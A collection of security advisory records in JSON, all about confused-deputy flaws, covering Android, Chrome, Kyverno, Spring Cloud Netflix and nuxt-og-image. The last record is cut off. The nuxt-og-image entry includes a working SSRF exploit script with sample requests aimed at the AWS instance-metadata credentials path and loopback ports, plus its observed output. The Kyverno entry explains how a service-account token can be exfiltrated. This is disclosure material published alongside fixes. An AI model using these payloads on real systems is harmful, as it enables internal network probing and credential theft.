CWE-441

{
  "affected": [],
  "aliases": [
    "CVE-2026-28657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T19:17:56Z",
    "severity": "HIGH"
  },
  "details": "In onActivityResult of AppWidgetConfigActivityProxy.java, there is a possible unauthorized URI permission grant due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-pp33-r826-5j77",
  "modified": "2026-09-10T15:33:00Z",
  "published": "2026-09-08T21:34:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28657"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-84329"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T00:18:27Z",
    "severity": "MODERATE"
  },
  "details": "Confused deputy in CredentialProvider in Google Chrome on on Windows prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)",
  "id": "GHSA-pp65-f62j-x6p7",
  "modified": "2026-09-02T12:31:24Z",
  "published": "2026-09-02T00:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84329"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/498850269"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-48646"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-02T19:16:28Z",
    "severity": "HIGH"
  },
  "details": "In executeRequest of ActivityStarter.java, there is a possible launch anywhere due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-q2vc-9qcc-3fwh",
  "modified": "2026-03-06T06:30:30Z",
  "published": "2026-03-02T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48646"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2026-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-32346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:37Z",
    "severity": "HIGH"
  },
  "details": "In onActivityResult of VoicemailSettingsActivity.java, there is a possible work profile contact number leak due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-q3v2-p7qq-49mc",
  "modified": "2025-09-05T18:31:19Z",
  "published": "2025-09-04T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32346"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-0021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-02T19:16:30Z",
    "severity": "HIGH"
  },
  "details": "In hasInteractAcrossUsersFullPermission of AppInfoBase.java, there is a possible cross-user permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-q689-c7qh-hgv3",
  "modified": "2026-03-06T06:30:31Z",
  "published": "2026-03-02T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0021"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2026-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nuxt-og-image"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.2"
            },
            {
              "fixed": "6.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-20",
      "CWE-441",
      "CWE-749",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:48:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`nuxt-og-image` exposes an **unauthenticated HTTP endpoint** at `/_og/d/**` that base64url-decodes and `JSON.parse`s a `fonts` URL segment, then passes each `fonts[i].path` value directly into `fetch()` server-side **without any URL validation** (no scheme allowlist, no loopback/RFC1918 block, no host allowlist, no DNS rebinding mitigation).\n\nUnder the module\u0027s documented default configuration (`security.strict = false`, `security.secret = \"\"`, `restrictRuntimeImagesToOrigin = false`), any caller able to reach the deployed Nuxt site can force the Nuxt server to issue arbitrary outbound `GET` requests to any host reachable from the server - including loopback, RFC1918 LAN, and cloud metadata services (AWS IMDS, GCE/Azure metadata, Kubernetes `kubelet`, internal admin panels, Redis/etcd/Consul/Vault HTTP APIs).\n\nThe chain is **blind** (Satori consumes the response as font bytes and silently discards non-fonts) but a robust **side-channel** exists: the outer HTTP status is `500` when the SSRF target returns `2xx`, and `200` when it fails or returns non-`2xx`. This is sufficient to (a) enumerate live internal services and open ports, (b) confirm IMDSv1 reachability, and (c) detect credential issuance on environments still allowing IMDSv1.\n\nDemonstrated end-to-end on a stock `npm create nuxt@latest` install with the module\u0027s documented default usage.\n\n### Detail\n\n#### Endpoint registration (unauthenticated)\n\nThe module registers `/_og/d/**` and `/_og/s/**` with no authentication / Origin check / Sec\u2011Fetch\u2011Site validation:\n\n```js\n// dist/shared/nuxt-og-image.DdbTs-xp.mjs : 5113-5133\naddServerHandler({ route: \"/_og/d/**\", handler: resolve(\"./runtime/server/routes/image\") })\naddServerHandler({ route: \"/_og/s/**\", handler: resolve(\"./runtime/server/routes/image\") })\n```\n\n#### Default security config (permissive)\n\n```js\n// dist/shared/nuxt-og-image.DdbTs-xp.mjs : 5618-5640\nsecurity: {\n  strict:                       config.security?.strict ?? false,         // \u003c- gate disabled\n  secret:                       config.security?.secret ?? process.env.NUXT_OG_IMAGE_SECRET ?? \"\",\n                                                                          //   \u2191 no signature requirement\n  restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? false,\n                                                                          //   \u2191 inbound host allowlist disabled\n  maxQueryParamSize:            config.security?.maxQueryParamSize ?? null,\n  renderTimeout:                config.security?.renderTimeout ?? 15000,\n  imageFetchTimeout:            config.security?.imageFetchTimeout ?? 3000,\n}\n```\n\nThe `secret`/signature branch is gated on `secret \u0026\u0026` (truthy), so an empty string skips it entirely:\n\n```js\n// dist/runtime/server/og-image/context.js : 49-69\nconst secret = runtimeConfig.security?.secret\nlet paramsSegment = encodedSegment\nif (secret \u0026\u0026 !import.meta.dev \u0026\u0026 !import.meta.prerender) {\n  // signature enforcement happens HERE - but only if secret is non-empty.\n  // Default install: secret === \"\" -\u003e entire block skipped.\n}\n```\n\n#### Attacker-controlled deserialization of `fonts`\n\n`fonts` is enumerated as a **complex parameter**: its value is base64url-decoded and then `JSON.parse`d straight into `options`:\n\n```js\n// dist/runtime/shared/urlEncoding.js : 65\nconst COMPLEX_PARAMS = new Set([\"satori\",\"resvg\",\"sharp\",\"screenshot\",\"takumi\",\"fonts\",\"_query\",\"_path\"])\n\n// dist/runtime/shared/urlEncoding.js : 184-231\nexport function decodeOgImageParams(encoded) {\n  ...\n  for (const part of parts) {\n    const idx = part.search(RE_SINGLE_UNDERSCORE)\n    if (idx === -1) continue\n    const alias = part.slice(0, idx)\n    let value = part.slice(idx + 1)\n    const paramName = PARAM_ALIASES[alias] || alias\n    if (COMPLEX_PARAMS.has(paramName)) {\n      try {\n        const json = b64Decode(value)\n        options[paramName] = JSON.parse(json)        // \u003c- attacker JSON survives unchanged\n      } catch { options[paramName] = value }\n    }\n    ...\n  }\n}\n```\n\n`defu` then merges attacker values into the request options:\n\n```js\n// dist/runtime/server/og-image/context.js : 135\noptions = defu(queryParams, urlOptions, ogImageRouteRules, runtimeConfig.defaults)\n// -\u003e options.fonts = [{ name: \"X\", path: \"\u003cattacker-URL\u003e\", ... }]\n```\n\n#### From `options.fonts` to the unfettered `fetch()`\n\n```js\n// dist/runtime/server/og-image/satori/renderer.js : 36-42\nconst fonts = await loadFontsForRenderer(event, {\n  ...options,\n  fontDefs: options.fonts,           // \u003c- attacker array flows in\n})\n\n// dist/runtime/server/og-image/fonts.js : 175-201\nexport async function loadDefinedFonts(event, fontDefs) {\n  for (const def of fontDefs) {\n    if (!def || typeof def !== \"object\" || !def.path) continue   // \u003c- only validation\n    const fontConfig = { family: def.name, weight: def.weight||400, style: def.style, src: def.path, localPath: def.path }\n    const data = await resolve(event.e, fontConfig).catch(() =\u003e null)\n    ...\n  }\n}\n```\n\nThe production binding (selected for every non-dev / non-prerender preset - `dist/shared/nuxt-og-image.DdbTs-xp.mjs:5445-5452`):\n\n```js\n// dist/runtime/server/og-image/bindings/font-assets/node.js : 6-21    \u003c- SINK\nexport async function resolve(event, font) {\n  const path     = font.src || font.localPath                    // attacker-controlled\n  const { app } = useRuntimeConfig()\n  const fullPath = withBase(path, app.baseURL)                   // ufo.withBase returns absolute URLs unchanged\n  const origin   = getNitroOrigin(event)\n  const timeout  = getFetchTimeout(useOgImageRuntimeConfig())    // 3000 ms by default\n  const res = await fetch(\n    new URL(fullPath, origin).href,                              // \u003c- when fullPath is absolute,\n    { signal: AbortSignal.timeout(timeout) },                    //   origin is ignored\n  ).catch(() =\u003e null)                                            //   -\u003e fetch(attacker-URL)\n  ...\n}\n```\n\n`ufo.withBase(\"http://target/\", \"/\")` returns `\"http://target/\"` unchanged when the input is already an absolute URL; `new URL(abs, origin)` then yields the absolute URL. No `URL.protocol` check, no IP-literal block, no DNS-resolution-aware allowlist, no redirect cap.\n\n#### Side-channel for blind exfiltration\n\nAlthough the response body is consumed as font bytes and Satori discards non-font payloads, the **outer HTTP status code differs deterministically** based on the SSRF target\u0027s response:\n\n| Target returns | Satori behavior | Outer response |\n|----------------|-----------------|----------------|\n| `2xx` with non-font body | `parseFont(bytes)` throws | `HTTP 500` |\n| Connection refused / timeout / non-`2xx` | `fetch().catch(() =\u003e null)` -\u003e fallback fonts used | `HTTP 200` (a PNG is returned) |\n\nThe boolean oracle (target alive \u0026 answered 2xx vs. not) is sufficient to:\n\n- enumerate open ports on `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`\n- detect cloud metadata reachability (and on legacy AWS IMDSv1, trigger credential issuance - even without read-back, the *act* of issuing credentials creates audit-trail and timing observables)\n- distinguish health-check responses, vault-init status, k8s `kubelet` `/pods` reachability, etc.\n\n### Steps To Reproduce\n\n```bash\n# 1. Create a stock Nuxt 4 app and add the module\nnpm create nuxt@latest lab-test --yes        # accept defaults\ncd lab-test\nnpm install nuxt-og-image                    # -\u003e installs v6.6.0 (current latest)\n```\n\n`nuxt.config.ts` - the **only** change is enabling the module:\n\n```ts\nexport default defineNuxtConfig({\n  compatibilityDate: \u00272025-07-15\u0027,\n  modules: [\u0027nuxt-og-image\u0027],\n  // NO `ogImage.security` overrides - accept module defaults.\n})\n```\n\nThe module requires at least one OG image component to be registered (its documented Hello\u2011World; otherwise the endpoint returns `500 No OG Image components found`). Add the minimal one:\n\n```bash\nmkdir -p app/components/OgImage\ncat \u003e app/components/OgImage/Default.satori.vue \u003c\u003c\u0027EOF\u0027\n\u003cscript setup lang=\"ts\"\u003e\ndefineProps\u003c{ title?: string }\u003e()\n\u003c/script\u003e\n\u003ctemplate\u003e\n  \u003cdiv style=\"display:flex;padding:32px;font-size:48px;background:#fff\"\u003e\n    {{ title || \u0027Acme\u0027 }}\n  \u003c/div\u003e\n\u003c/template\u003e\nEOF\n```\n\n#### Start a local sink to prove the SSRF (1 file)\n\n`ssrf-sink.mjs`:\n\n```js\nimport http from \u0027node:http\u0027\nimport fs   from \u0027node:fs\u0027\nconst LOG = \u0027/tmp/ssrf-sink.log\u0027; fs.writeFileSync(LOG, \u0027\u0027)\nhttp.createServer((req, res) =\u003e {\n  const line = JSON.stringify({ ts: new Date().toISOString(), method: req.method, url: req.url, ua: req.headers[\u0027user-agent\u0027], remote: req.socket.remoteAddress })\n  fs.appendFileSync(LOG, line + \u0027\\n\u0027); console.log(\u0027HIT:\u0027, line)\n  res.writeHead(200, { \u0027content-type\u0027: \u0027application/octet-stream\u0027 }).end(\u0027NOT_A_FONT_BUT_2XX\u0027)\n}).listen(9000, \u0027127.0.0.1\u0027, () =\u003e console.log(\u0027sink ready 127.0.0.1:9000\u0027))\n```\n\n```bash\nnode ssrf-sink.mjs \u0026\nnpm run dev          # Nuxt on http://127.0.0.1:3000\n```\n\n#### Exploit script - one HTTP request, no auth (`poc.mjs`)\n\n```js\nconst b64url = s =\u003e Buffer.from(s,\u0027utf8\u0027).toString(\u0027base64\u0027)\n  .replace(/=/g,\u0027\u0027).replace(/\\+/g,\u0027-\u0027).replace(/\\//g,\u0027~\u0027)\n\n// The entire attack: a single attacker-crafted GET.\nasync function ssrf (attackerURL) {\n  const seg = \u0027fonts_\u0027 + b64url(JSON.stringify([{ name:\u0027X\u0027, path: attackerURL }]))\n  const url = `http://127.0.0.1:3000/_og/d/${seg}.png`     // \u003c- unauth, no header\n  const r = await fetch(url)\n  console.log(`SSRF target=${attackerURL}  outer-status=${r.status}`)\n}\n\nawait ssrf(\u0027http://127.0.0.1:9000/PWN?via=og-image\u0027)          // sink - proves primitive\nawait ssrf(\u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027)   // AWS IMDSv1\nawait ssrf(\u0027http://127.0.0.1:22/\u0027)                            // loopback port probe\n```\n\n#### Run\n\n```bash\nnode poc.mjs\n```\n\n#### Observed result (captured during the actual lab run, 2026-06-23 10:52 UTC)\n\n```\nSSRF target=http://127.0.0.1:9000/PWN?via=og-image                                outer-status=500\nSSRF target=http://169.254.169.254/latest/meta-data/iam/security-credentials/     outer-status=200\nSSRF target=http://127.0.0.1:22/                                                  outer-status=200\n```\n\n`/tmp/ssrf-sink.log`:\n\n```json\n{\"ts\":\"2026-06-23T10:52:12.250Z\",\"method\":\"GET\",\"url\":\"/PWN?via=og-image\",\"ua\":\"node\",\"remote\":\"127.0.0.1\"}\n{\"ts\":\"2026-06-23T10:52:13.706Z\",\"method\":\"GET\",\"url\":\"/etc/passwd?or-any-path\",\"ua\":\"node\",\"remote\":\"127.0.0.1\"}\n```\n\nThe sink received `GET` requests with **attacker-chosen paths**, sourced from the Nuxt server process (`user-agent: node` is the undici/Node `fetch` fingerprint emitted by Nitro; `remote: 127.0.0.1` is the Nuxt server itself on the lab host). No other process on the lab has any reason to call this address with these paths.\n\nReading the outer status codes back as the side-channel:\n\n- `outer-status=500` -\u003e target answered `2xx` (sink confirmed via log)\n- `outer-status=200` -\u003e target did not respond / non-`2xx` (IMDS unreachable from this host; `:22` is SSH, not HTTP). Both cases prove the server-side `fetch()` was issued.\n\n### Impact\n\nThe vulnerability turns any deployed Nuxt site running `nuxt-og-image` (default config) into an **unauthenticated SSRF relay** into its own server-side network. Concrete impact varies by hosting environment:\n\n#### Cloud (AWS / GCP / Azure)\n\n- **AWS EC2 with IMDSv1 still allowed:** `fetch(\u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\u0027)` triggers credential issuance to the role attached to the instance. Even though the response body is not echoed back to the attacker, the call is performed in the instance\u0027s network identity and shows up in CloudTrail; in environments with permissive role policies + persistence (e.g. a backup S3 listing) the attacker can chain via the side-channel into role exfil through other ingress points. (Industry surveys repeatedly show 20-40 % of EC2 fleets still have IMDSv1 enabled.)\n- **GCE / Azure:** metadata is gated on a custom header that `fetch` does not add -\u003e metadata read prevented, but internal Google/Azure network reach is still proven.\n- **EKS / GKE / AKS:** `http://kubernetes.default.svc.cluster.local/api/...` is reachable, as are kube-proxy localhost ports, kubelet on `:10250` (status-only readable via side-channel), and per-pod sidecar admin APIs.\n\n#### Self-hosted / on-prem\n\n- **Internal admin panels** (Grafana, Kibana, Prometheus, Argo, Jenkins, Sentry, Hashicorp Vault `/v1/sys/health`, Consul `/v1/agent/self`) become enumerable. Status-code side-channel reveals init/seal state of Vault, leadership of Consul, etc.\n- **Localhost-bound services** intended as \"developer-only\" (e.g. a debug Redis on `127.0.0.1:6379`, an embedded SQL admin UI on `127.0.0.1:8080`, an internal feature-flag server) become enumerable from the public Internet.\n- **Egress controls bypass**: if the Nuxt deployment is on an allowlist VLAN that may reach `payments-internal` while end users may not, the attacker can probe that VLAN through the relay.\n\n#### Generic\n\n- **Port scanning** of LAN ranges through the deployed site (timing+status side-channel).\n- **Long-lived DoS amplifier**: each request holds a render worker for up to `imageFetchTimeout` (3 s default). 100 concurrent requests to slow-responding internal targets hold all OG workers; coupled with `renderTimeout` (15 s) the OG image rendering capacity is exhausted with very low attacker bandwidth.\n- **Side-channel exfil with reflectable bytes**: where an internal HTTP response contains data that happens to render through Satori\u0027s glyph fallback path (e.g. plain ASCII status-page text), bytes can leak into the rendered PNG as visual noise - an opportunistic read primitive.\n\n### Fix\n\n#### Short-term (must-have before next release)\n\nIn `dist/runtime/server/og-image/bindings/font-assets/node.js`, validate the URL before issuing `fetch`:\n\n```diff\n+ import { isPrivateAddress } from \u0027../../util/isPrivateAddress.js\u0027  // new helper, see below\n\n  export async function resolve(event, font) {\n    const path = font.src || font.localPath\n    const { app } = useRuntimeConfig()\n    const fullPath = withBase(path, app.baseURL)\n    const origin = getNitroOrigin(event)\n+\n+   const target = new URL(fullPath, origin)\n+\n+   // (1) Scheme allowlist\n+   if (target.protocol !== \u0027http:\u0027 \u0026\u0026 target.protocol !== \u0027https:\u0027) {\n+     throw createError({ statusCode: 400, statusMessage: \u0027[og-image] Disallowed font URL scheme\u0027 })\n+   }\n+\n+   // (2) Same-origin OR explicit user allowlist\n+   const allowlist = useOgImageRuntimeConfig().security?.fontHostAllowlist ?? []\n+   const sameOrigin = target.origin === new URL(origin).origin\n+   if (!sameOrigin \u0026\u0026 !allowlist.includes(target.host)) {\n+     throw createError({ statusCode: 400, statusMessage: \u0027[og-image] Font host not in allowlist\u0027 })\n+   }\n+\n+   // (3) Block private / loopback / link-local at lookup time (DNS-rebinding-safe)\n+   if (await isPrivateAddress(target.hostname)) {\n+     throw createError({ statusCode: 400, statusMessage: \u0027[og-image] Private network not allowed\u0027 })\n+   }\n+\n    const timeout = getFetchTimeout(useOgImageRuntimeConfig())\n    const res = await fetch(target.href, {\n      signal: AbortSignal.timeout(timeout),\n+     redirect: \u0027manual\u0027,                  // do not follow redirects across the gate\n    }).catch(() =\u003e null)\n    if (res?.ok) return Buffer.from(await res.arrayBuffer())\n    ...\n  }\n```\n\n`isPrivateAddress(host)` should resolve the host via DNS (caching) and reject if **any** resolved address is in `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `::1`, `fc00::/7`, `fe80::/10`. The resolved address must then be **pinned** and passed into `fetch` (or `undici`\u0027s `lookup` option) so the TCP connection cannot rebound to a different IP after the check (TOCTOU / DNS rebinding defense).\n\nApply the same validator in `dist/runtime/server/og-image/bindings/font-assets/dev-prerender.js`.\n\n#### Flip the security defaults (medium-term)\n\n```diff\n- strict:                       config.security?.strict ?? false,\n+ strict:                       config.security?.strict ?? true,\n\n- restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? false,\n+ restrictRuntimeImagesToOrigin: config.security?.restrictRuntimeImagesToOrigin ?? true,\n```\n\nWhen `strict` is `true`, the runtime should refuse to start with `secret === \u0027\u0027` and emit a clear error pointing to the docs (similar to how Nuxt itself errors when `runtimeConfig` secrets are unset in production).\n\n#### Defense in depth (long-term)\n\n- Validate `fonts[*]` shape at decode time in `decodeOgImageParams`. Reject any `fonts[i].path` that is not a relative path or in the allowlist.\n- Tighten `COMPLEX_PARAMS`: every JSON-parsed key (`satori`, `resvg`, `sharp`, `screenshot`, `takumi`, `fonts`) must have a schema validator. Today they are blind-trusted across the URL boundary.\n- Document `nuxt-og-image`\u0027s threat model explicitly: which URL parameters are attacker-controlled by design, which `runtimeConfig` keys must be set in production, which defaults are unsafe.",
  "id": "GHSA-q8hw-4fvp-9rwv",
  "modified": "2026-09-17T14:48:56Z",
  "published": "2026-09-17T14:48:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/security/advisories/GHSA-q8hw-4fvp-9rwv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/pull/637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/commit/243cac2228671d3711c2bd65e300c278fcdf5a4e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt-modules/og-image"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt-modules/og-image/releases/tag/v6.7.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nuxt OG Image has unauthenticated SSRF via `fonts[].path` URL parameter"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-922"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:09:00Z",
    "nvd_published_at": "2026-04-21T19:16:18Z",
    "severity": "HIGH"
  },
  "details": "kyverno\u2019s apiCall servicecall helper implicitly injects `Authorization: Bearer ...` using the kyverno controller serviceaccount token when a policy does not explicitly set an Authorization header. because `context.apiCall.service.url` is policy-controlled, this can send the kyverno serviceaccount token to an attacker-controlled endpoint (confused deputy).\n\nnamespaced policies are blocked from servicecall usage by the namespaced `urlPath` gate in `pkg/engine/apicall/apiCall.go`, so this report is scoped to ClusterPolicy and global context usage.\n\n## attacker model\n\nthe attacker can create or update a ClusterPolicy (or create a GlobalContextEntry) which uses `context.apiCall.service.url` and can choose the request URL and headers. a cross-boundary framing for real deployments is gitops: if the policy repo/controller is compromised, the ClusterPolicy/global context entry becomes untrusted input to kyverno.\n\n## relevant links\n\n- repository: https://github.com/kyverno/kyverno\n- commit: 17aeb52337fd66adb0c8126213ba076612a287a7\n- callsite (token injection): https://github.com/kyverno/kyverno/blob/17aeb52337fd66adb0c8126213ba076612a287a7/pkg/engine/apicall/executor.go#L150-L173\n- namespaced policy gate (servicecall blocked): https://github.com/kyverno/kyverno/blob/17aeb52337fd66adb0c8126213ba076612a287a7/pkg/engine/apicall/apiCall.go#L67-L83\n\n## root cause\n\nin `(*executor).addHTTPHeaders`, kyverno reads the serviceaccount token from `/var/run/secrets/kubernetes.io/serviceaccount/token` and injects it when the outgoing request has no Authorization header:\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n  token := a.getToken()\n  if token != \"\" {\n    req.Header.Add(\"Authorization\", \"Bearer \"+token)\n  }\n}\n```\n\n## proof of concept\n\nthe attached `poc.zip` is a reproducible cluster PoC. it uses an in-cluster HTTP receiver which logs the Authorization header it receives. the PoC does not print token bytes; it only checks that the received header is non-empty and not equal to the negative control.\n\nrun (one command):\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake test\n```\n\ncanonical (expected: implicit token injection):\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake canonical\n```\n\nexpected output includes:\n\n```\n[CALLSITE_HIT]: executor.addHTTPHeaders Authorization==\"\" -\u003e read_serviceaccount_token=true\n[PROOF_MARKER]: authorization_header_injected=true token_nonempty=true\n```\n\ncontrol (expected: explicit Authorization header disables auto-injection):\n\n```bash\nunzip poc.zip -d poc\ncd poc\nmake control\n```\n\nexpected output includes:\n\n```\n[CALLSITE_HIT]: executor.addHTTPHeaders Authorization!=\"\" -\u003e autoinject_skipped=true\n[NC_MARKER]: authorization_header_injected=false\n```\n\noptional: the canonical run may also print an `[RBAC]: ...` line using `kubectl auth can-i` with the exfiltrated token, to show concrete privileges without exposing the token.\n\n## impact\n\ntoken exfiltration: the kyverno controller serviceaccount token is sent to a policy-controlled endpoint. impact depends on the rbac bound to that serviceaccount in the target deployment.\n\n## recommended fix\n\ndo not auto-inject the kyverno serviceaccount token into policy-controlled servicecall requests. require explicit Authorization configuration, or enforce a strict allowlist of destinations where credentials may be attached and document the behavior.\n\n## workarounds\n\n- avoid using servicecall to arbitrary urls in policies.\n- set an explicit Authorization header in servicecall policies to prevent implicit token injection.\n\n\n[poc.zip](https://github.com/user-attachments/files/25352288/poc.zip)\n[PR_DESCRIPTION.md](https://github.com/user-attachments/files/25352289/PR_DESCRIPTION.md)\n\noleh",
  "id": "GHSA-q93q-v844-jrqp",
  "modified": "2026-04-24T21:10:06Z",
  "published": "2026-04-14T20:09:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-q93q-v844-jrqp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40868"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-106301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-06T19:17:58Z",
    "severity": "HIGH"
  },
  "details": "Confused deputy in Contextual Tasks in Google Chrome prior to 155.0.8059.39 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-qg95-w8g6-2mc3",
  "modified": "2026-10-07T21:33:22Z",
  "published": "2026-10-06T21:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106301"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_086471744.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/523750306"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.cloud:spring-cloud-netflix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.cloud:spring-cloud-netflix"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5412"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-610"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-27T21:33:12Z",
    "nvd_published_at": "2020-08-07T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.",
